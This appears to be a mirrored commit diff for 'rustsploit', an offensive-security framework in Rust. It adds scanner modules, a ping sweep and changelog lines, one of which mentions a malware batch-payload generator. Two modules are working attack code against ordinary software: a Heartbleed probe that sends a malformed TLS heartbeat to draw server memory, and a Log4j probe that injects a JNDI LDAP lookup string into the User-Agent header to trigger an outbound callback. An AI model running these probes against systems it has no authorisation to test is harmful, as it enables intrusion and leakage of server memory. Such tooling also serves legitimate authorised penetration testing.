mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d10c81c236 |
@@ -51,6 +51,7 @@ rdp = "0.12.8"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11.1"
|
||||
ipnet = "2.11.0"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37.4"
|
||||
|
||||
@@ -48,10 +48,14 @@ rework command system to automaticly detect new modules
|
||||
added uniview_nvr_pwd_disclosure
|
||||
added ssdp_msearch
|
||||
added hearbleed info leak from server saved to a bin file
|
||||
added port scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added port scanner
|
||||
added ping_sweep network scanner
|
||||
added http_title_scanner
|
||||
added log4j_scanner
|
||||
added heartbleed_scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added wordlist for camera paths
|
||||
added acti camera module
|
||||
created bat payload generator for malware
|
||||
|
||||
+1
-1
@@ -163,7 +163,7 @@ Then:
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use scanners/port_scanner
|
||||
rsf> use scanners/heartbleed_scanner
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::io::{self, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(443);
|
||||
run_with_port(target, port).await
|
||||
}
|
||||
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
_ => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target does not seem vulnerable (no heartbeat response).");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let mut random = vec![0u8; 32];
|
||||
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0002u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0033u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0039u16.to_be_bytes());
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0000u16.to_be_bytes());
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn prompt_port() -> Option<u16> {
|
||||
print!("Enter port (default 443): ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use reqwest::Client;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
|
||||
for scheme in ["http", "https"] {
|
||||
let url = format!("{}://{}", scheme, target);
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if let Some(cap) = title_re.captures(&text) {
|
||||
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
use anyhow::{Result, Context};
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter URL or host to scan: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let host = input.trim();
|
||||
|
||||
let client = Client::builder()
|
||||
.redirect(reqwest::redirect::Policy::limited(3))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let token: u32 = rand::thread_rng().gen();
|
||||
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
|
||||
|
||||
for scheme in ["http", "https"] {
|
||||
let url = if host.starts_with("http") {
|
||||
host.to_string()
|
||||
} else {
|
||||
format!("{}://{}", scheme, host)
|
||||
};
|
||||
match client.get(&url).header("User-Agent", &payload).send().await {
|
||||
Ok(resp) => {
|
||||
println!("[+] {} -> status {}", url, resp.status());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -2,3 +2,7 @@ pub mod sample_scanner;
|
||||
pub mod ssdp_msearch;
|
||||
pub mod port_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod log4j_scanner;
|
||||
pub mod heartbleed_scanner;
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
use anyhow::{Result, Context};
|
||||
use ipnet::IpNet;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::io::{self, Write};
|
||||
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter CIDR range to sweep: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
|
||||
let hosts: Vec<IpAddr> = net.hosts().collect();
|
||||
let semaphore = Arc::new(Semaphore::new(50));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
let sem = semaphore.clone();
|
||||
let ip_str = ip.to_string();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire_owned().await.unwrap();
|
||||
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
|
||||
let result = timeout(
|
||||
Duration::from_secs(3),
|
||||
Command::new(cmd)
|
||||
.args(["-c", "1", "-W", "1", &ip_str])
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
if let Ok(Ok(out)) = result {
|
||||
if out.status.success() {
|
||||
println!("[+] Host {} is up", ip_str);
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user